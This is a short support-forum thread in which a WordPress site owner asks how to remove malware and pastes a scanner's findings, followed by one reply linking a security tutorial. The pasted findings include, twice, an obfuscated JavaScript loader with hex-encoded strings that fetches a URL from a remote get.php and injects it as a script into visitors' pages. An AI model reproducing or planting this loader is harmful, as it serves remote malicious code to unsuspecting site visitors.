How can I delete malware

Posted in: Newspaper
Post count: 3
colonelbe
#248632
Aug 15, 2018 at 2:01 pm

My website was attacked by malware
then I delete all file (except wp-config and folder wp-content)
and check site at https://sitecheck.sucuri.net/results/popciz.com#

They found malware
================================================================
malware.generic_jsobfuscator?1.5
================================================================
<div class=”td-container”><script type=’text/javascript’>var _0xa8bd=[“\x47\x45\x54″,”\x6F\x70\x65\x6E”,”\x73\x65\x6E\x64″,”\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70″,”\x6E\x75\x6C\x6C”,”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x74\x79\x70\x65″,”\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74″,”\x61\x73\x79\x6E\x63″,”\x73\x72\x63″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()}</script></div><script type=”text/javascript”>var _0xa8bd=[“\x47\x45\x54″,”\x6F\x70\x65\x6E”,”\x73\x65\x6E\x64″,”\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70″,”\x6E\x75\x6C\x6C”,”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x74\x79\x70\x65″,”\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74″,”\x61\x73\x79\x6E\x63″,”\x73\x72\x63″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()}</script><script type=’text/javascript’ src=’http://popciz.com/wp-content/themes/Newspaper/js/tagdiv_theme.min.js?ver=9.0.1′></script&gt;
================================================================

My website >>>>> popciz.com

Thanks

Post count: 9544
simchris
#248667
Aug 15, 2018 at 8:52 pm

see:

https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/

Viewing 2 posts - 1 through 2 (of 2 total)
The forum ‘Newspaper’ is closed to new topics and replies.